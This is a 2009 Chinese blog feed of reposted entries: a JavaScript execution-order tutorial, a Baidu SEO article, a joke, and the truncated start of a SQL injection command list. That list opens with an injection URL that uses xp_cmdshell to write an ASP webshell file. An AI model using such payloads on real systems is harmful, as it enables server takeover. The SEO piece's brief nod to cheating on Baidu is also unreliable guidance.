SJ

JavaScript执行顺序的问题

370567136@qq.com(SJ) — Fri, 27 Nov 2009 10:23:53 GMT

好记星不如烂笔头，适时的总结梳理知识让人更轻松愉快。今天总结下学习和开发中遇到的JavaScript执行顺序的问题，今天挖个坑，以后会慢慢填，也希望抛砖引玉，能学到更多的东西。
顺序可能比较乱，写多了再整理，有些术语可能运用也不恰当，欢迎批评指正。以下使用的示例程序都经过了本人的实际验证，兼容各大浏览器。OK，步入正题。
1. 变量的声明和引用变量必须先声明后引用，这个大家是都知道的，但还是要说说，因为后面要说到一个相关的问题。
alert(myStr); // 弹出"undefined";
var myStr = "Hello World!";
alert(myStr); // 弹出"Hello World";2. 函数的声明和调用
JavaScript是一种描述型脚本语言，由浏览器进行动态的解析与执行。函数的定义方式大体有以下两种，浏览器对于不同的方式有不同的解析顺序。
//“定义式”函数定义
function Fn1(){
alert("Hello World!");
}
//“赋值式”函数定义
var Fn2 = function(){
alert("Hello wild!");
}页面加载过程中，浏览器会对页面上或载入的每个js代码块(或文件)进行扫描，如果遇到定义式函数，则进行预处理(类似于C等的编译)，处理完成之后再开始由上至下执行；遇到赋值式函数，则只是将函数赋给一个变量，不进行预处理(类似1中变量必须先定义后引用的原则)，待调用到的时候才进行处理。下面举个简单的例子：
//“定义式”函数定义
Fn1();
function Fn1(){
alert("Hello World!");
}正常执行，弹出“Hello World!”，浏览器对Fn1进行了预处理，再从Fn1();开始执行。
//“赋值式”函数定义
Fn2();
var Fn2 = function(){
alert("Hello wild!");
}Firebug报错：Fn2 is not a function，浏览器未对Fn2进行预处理，依序执行，所以报错Fn2未定义。
3. 代码块及js文件的处理“代码块”是指一对标签包裹着的js代码，文件就是指文件啦，废话:D
浏览器对每个块或文件进行独立的扫描，然后对全局的代码进行顺序执行(2中讲到了)。所以，在一个块(文件)中，函数可以在调用之后进行“定义式”定义；但在两个块中，定义函数所在的块必须在函数被调用的块之前。
很绕口，看例子好了：

// 报错：Fn is notdefined，两个块换过来就对了4. 重复定义函数会覆盖前面的定义这和变量的重复定义是一样的，代码：
function fn(){
alert(1);
}
function fn(){
alert(2);
}
fn();
// 弹出：“2”如果是这样呢：
fn();
function fn(){
alert(1);
}
function fn(){
alert(2);
}
// 还是弹出：“2”还是弹出“2”，为什么？2都讲了好吧…
5. body的onload函数与body内部函数的执行body内部的函数会先于onload的函数执行，测试代码：
//html head...

//先弹出“I am inside the Wall..”;
//后弹出“I am outside the Wall!”body的onload事件触发条件是body内容加载完成，而body中的js代码会在这一事件触发之前运行(为什么呢?6告诉你..)
6. JavaScript是多线程or单线程？严格来说，JavaScript是没有多线程概念的，所有的程序都是“单线程”依次执行的。
举个不太恰当的例子：
function fn1(){
var sum = 0;
for(var ind=0; ind<1000; ind++) {
sum += ind;
}
alert("答案是"+sum);
}
function fn2(){
alert("早知道了，我就是不说");
}
fn1();
fn2();
//先弹出：“答案是499500”，
//后弹出：“早知道了，我就是不说”那你肯定要问：那延时执行、Ajax异步加载，不是多线程的吗？没错，下面这样的程序确实看起来像“多线程”：
function fn1(){
setTimeout(function(){
alert("我先调用")
},1000);
}
function fn2(){
alert("我后调用");
}
fn1();
fn2();
// 先弹出：“我后调用”，
// 1秒后弹出：“我先调用”看上去，fn2()和延时程序是分两个过程再走，但其实，这是JavaScript中的“回调”机制在起作用，类似于操作系统中的“中断和响应” —— 延时程序设置一个“中断”，然后执行fn2()，待1000毫秒时间到后，再回调执行fn1()。
同样，5中body的onload事件调用的函数，也是利用了回调机制——body加载完成之后，回调执行fnOnLoad()函数。
Ajax请求中的数据处理函数也是一样的道理。
关于JavaScript线程问题的更深入讨论，看这篇javascript中的线程之我见，以及infoQ上的JavaScript多线程编程简介。
困了，再说一下回调函数吧。
7. 回调函数回调函数是干嘛用的？就是回调执行的函数嘛，又废话:D
如6所说，最常见的回调就是onclick、onmouseover、onmousedown、onload等等浏览器事件的调用函数；还有Ajax异步请求数据的处理函数；setTimeOut延时执行、setInterval循环执行的函数等。
干脆我们写一个纯粹的回调函数玩：
function onBack(num){
alert("姗姗我来迟了");
// 执行num个耳光
}
function dating(hours, callBack){
var SP= 0; // SP,愤怒值
//女猪脚在雪里站了hours个钟头
//循环开始..
SP ++;
//循环结束...
callBack(SP);
}
dating(1, onBack);dating运行完之后再执行回调函数onBack —— 约会结束了，暴风骤雨开始了。
今天先写到这里，一些更深入的东西还有待整理，更多的东西还需要继续学习，欢迎批改补充，欢迎指点迷津。

转自:cssrain
------------------
关注互联网~ 关注前端技术~

转载：百度如何优化-转

370567136@qq.com(SJ) — Fri, 27 Nov 2009 10:19:36 GMT

虽然已经很久没写过关于SEO的文章了，但经常还是有许多朋友在QQ留言或什么的问关于百度优化方面的问题。今晚在www.semyj.com看到一篇关于百度优化的文章，觉得很不错，于是转了过来跟大家分享。（注：本文非丘仕达原创）

已经有很多网友问我百度如何优化了，不过我一直不清楚如何来写更合适。有好几个原因。首先是，很多知识，我不先介绍一下的话，到时候我写出来大家不容易理解。就如我博客刚开的时候，我就想写《SEO案例：锚文本、关键字、nofollow、Web标准化》这篇文章，但是如果一开始不讲一下为什么要重视锚文本、如何选关键字、nofollow的作用、为什么要标准化的话，很多人可能会觉得我只是讲了一个特别注意细节的案例。

所以我会先把google的优势讲明白，把搜索引擎是怎么运作的讲明白，然后才能把如何做百度优化讲明白。我博客里的很多文章都是从google的角度出发来讲SEO的，但是你都可以思考一下同样的事情要是百度来处理的话，会如何去解决。

第二个原因就是百度优化和google优化在技术上有80%是相似的，所以不用特别的区分是百度优化还是google优化。而且，做一个网站的SEO工作，那些流程和方法都是一样的。说起相似性，你就可以看到：一个在google上排名很强势的网站，在百度上也会有不错的排名。还有，百度前几年不是一直宣称google侵犯了百度在超链分析法上的专利吗，虽然很荒谬，但是可以看出百度也是注重外部链接的。而且现在还有一个趋势就是，百度在算法上越来越模仿google。

另一个原因就是其他方面的。互联网的圈子其实很小，百度排名确实有一些技巧，但是我今天在这里说明的技巧，明天大家就不能用了。

总体来说，百度的优化要比google英文的优化容易得多。现在我主要从事的英文优化，同时也在做部分百度优化的工作。在百度上，基本上现在只要特别注意去优化的词语，不是非常热门的话，非推广的搜索结果都排在第一了。（但是对于一个大型网站的话，这样特别注意优化热门词语，会让你丢失掉原本属于你的50%以上的流量。）而我用的一些技巧，都是在英文SEO领域用滥了的技巧。

如果能把英文的SEO做透的话，做百度的优化感觉很容易。很早以前，在一些SEOer眼里，百度优化，非推广的搜索结果排在第一不是难事，要保持第一就很伤脑筋了。

接下来谈一下影响你做好百度优化的几个因素。

1，百度的搜索技术很糟糕。
不管是在爬虫，还是索引，还是排序算法上都有很多缺陷。比如搜索一个词语，同一个网站占据前几十个搜索结果，就是一个很低级的错误。而很多大型网站，也应该被百度的爬虫把服务器“攻击”得不行了吧。反作弊措施也很初级，所以一大批作弊的网站照样可以活的很好，对于一贯不作弊来做SEO的人来说，这点无可奈何。这都是技术上的，还有的就是人为的。比如很多百度认为“影响业务”的网站，无论从抓取率还是排序上都是被分配了特殊的权重的，导致这些网站的SEO流量怎么也做不起来。这样被区别对待的网站有很多，国内好几家著名网站包括阿里巴巴中文站都是这样，所以阿里巴巴中文站的SEO流量中，google来的流量反而比百度高很多。而百度自己的业务，却被赋予越来越高的权重，甚至自己网站上很多明显的垃圾页面，照样有好的排名。如：
百度搜索结果
尽管我是不主张SEO上作弊的，但是如果是小网站在百度上作SEO，在注意百度的一些反作弊措施下，就适当用一些方法吧。

2，服务器效率低
《google Caffeine(咖啡因) 更新了什么》揭示了数据中心的效率是搜索引擎的命脉。而百度的数据中心无疑是没什么亮点的。经常性的当机和数据丢失，使国内的很多做SEO的人以为是自己的网站有了作弊问题而从搜索引擎消失了。一个大型的服务器集群，管理起来特别考验一家公司的技术实力。管理数据中心很像“打地鼠”的游戏，这边几个当掉的服务器刚刚解决，那边又有服务器当机了。google在这方面也遇到过很多问题，得益于他们的技术能力，现在都得到了不错的解决。虽然也有数据丢失，但是平均每份数据都有2份备用，所以在百度上出现的那种突然大量收录消失了的状况，在google上是很难见到的。
我经常看到很多人对于网站在百度上的收录量患得患失，其实很多时候，都不是因为百度处罚你。而是他们自己出了问题。

3，反作弊措施
无论百度还是google，SEO要做得好都要从这个搜索引擎的角度来看待你做的SEO优化工作。在百度上作SEO，心里要时刻想着它有可能会用什么样的反作弊措施来检查你的网站。这个是在百度上做好SEO的秘籍。
举一个我操作过的案例：
以前给一个国内比较有名的网站做SEO，因为比较遵守这条规则，把总的SEO流量从6万做到267万。（之所以流量翻了40多倍，还有一部分原因是他们以前喜欢用ajax技术，妨碍了收录。）后来流量一下子又降到了30万左右，因为那个公司有特殊的渠道，得到了百度内部的意见说网站优化过度，我当时特别纳闷怎么就优化过度了。后来就想，如果我是百度的话，我会如何判断一个网站优化过度呢？从国内那时的SEO现状来看，我会这么判断：因为每个做SEO的人，基本上都会去改title, keywords, description。那我首先设置一个过滤条件，就是把那种每个网页上title, keywords, description都写了大量内容的网站特别对待，因为这些网站有了SEO的企图，所以也会在外部链接等等其他因素上作很多优化的动作的。这种被列入嫌疑的网站，只要流量有异常的大量增长，就开始严格清理。那个网站，在其他方面都无异常，甚至没有在title, keywords, description重复一次关键词，唯独每个网页， keywords, description都是写了很丰富的内容的，当时为了写这些内容还花费了大量的时间，因为每个网页都要写得不一样。
想清楚了这个，我就把那种能不写 keywords, description 的就不写。甚至做了一个很大胆的决定，就是所有的网页都不写keywords。因为我如果是百度的话，我绝对不会考虑把keywords作为影响排名的因素的。description之所以不抛弃，是因为在搜索结果里，人还是需要阅读到的。这样改动后一个月，流量就恢复了，直到我离开那家公司前，SEO流量都还稳定在200万以上。
因为这篇文章实在是罗嗦了，以后再讲一些其他案例。不久前Matt Cutts在博客里也说google不把keywords作为排名的因素。如果你在第一线实践的话，这些东西早就知道了。我以前就想把这个写出来，没想到Matt Cutts抢先说了。

4，人工干预
百度是一个很仇视SEO的搜索引擎，在他们眼里，SEO妨碍了他们的收益。这与我在《怎么样去学SEO》一文中提到的google与网站共赢的策略完全相反。google也有人工审核，但是是奔着处理作弊网站而来的，而且尺度还很宽松的。百度的人工干预会让你在做一些热门词语的时候非常麻烦，这点就不多说，大家都经历过。
这4个影响你在百度上作SEO的因素都是客观的。还有一个因素就是竞价排名，但是这个在慢慢消退。
不过还是可以在百度上把SEO做得很好的，那就是整体把握一个网站的策略，方法。SEO应该做的是给网站带来利益，要在各种条件和资源的限制下，把网站的利益最大化。这是才是一个SEOer应该追求的目标，而不是今天有多少收录，哪个热门词没有排上去等等。我还是慢慢一个个的讲吧。
------------------------------------------
本文转载自：丘仕达：百度如何优化-转
用QQ邮箱阅读空间订阅丘仕达
什么是阅读空间?

一个思维严密的学生

370567136@qq.com(SJ) — Wed, 07 Oct 2009 12:30:59 GMT

某日，老师在课堂上想看看一学生智商有没有问题，问他 “树上有十只鸟，开枪打死一只，还剩几只？”
他反问“是无声手枪或别的无声的枪吗？”
“不是。”
“枪声有多大？”
“80-100分贝。”
“那就是说会震的耳朵疼？”
“是。”
“在这个城市里打鸟犯不犯法？”
“不犯。”
“您确定那只鸟真的被打死啦？”
“确定。”老师已经不耐烦了“拜托，你告诉我还剩几只就行了，OK”
“OK，树上的鸟里有没有聋子？”
“没有。”
“有没有关在笼子里的？”
“没有。”
“边上还有没有其他的树，树上还有没有其他鸟？”
“没有。”
“有没有残疾的或饿的飞不动的鸟？”
“没有。”
“算不算怀孕肚子里的小鸟？”
“不算。”
“打鸟的人眼有没有花？保证是十只？”
“没有花，就十只。” 老师已经满脑门是汗，且下课铃响，但他继续问,
“有没有傻的不怕死的？”
“都怕死。”
“会不会一枪打死两只？”
“不会。”
“所有的鸟都可以自由活动吗？”
“完全可以。”
“如果您的回答没有骗人，”学生满怀信心的说，“打死的鸟要是挂在树上没掉下来,那么就剩一只，如果掉下来，就一只不剩。”
老师晕倒 ……

最详细的SQL注入相关的命令整理 (转)

370567136@qq.com(SJ) — Sat, 29 Aug 2009 18:05:28 GMT

记得最初学网站注入还是在2006年的时候，那时候拿着明小子天天注入别人的网站，其实那时候连sql都不会，就看别人的教程，按步骤操作，现在想，真是天真了………………

今天偶然发现很多网站还是存在注入漏洞，包括有些比较知名的网站，看来网络安全还没有抓到底呀。

下面是我在网上找的一些SQL注入命令，希望开发者们在开发的时候要注意数据安全呀，多一份心，不要在亡羊补牢啦。。。。。

1、用^转义字符来写ASP(一句话木马)文件的方法:
? http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^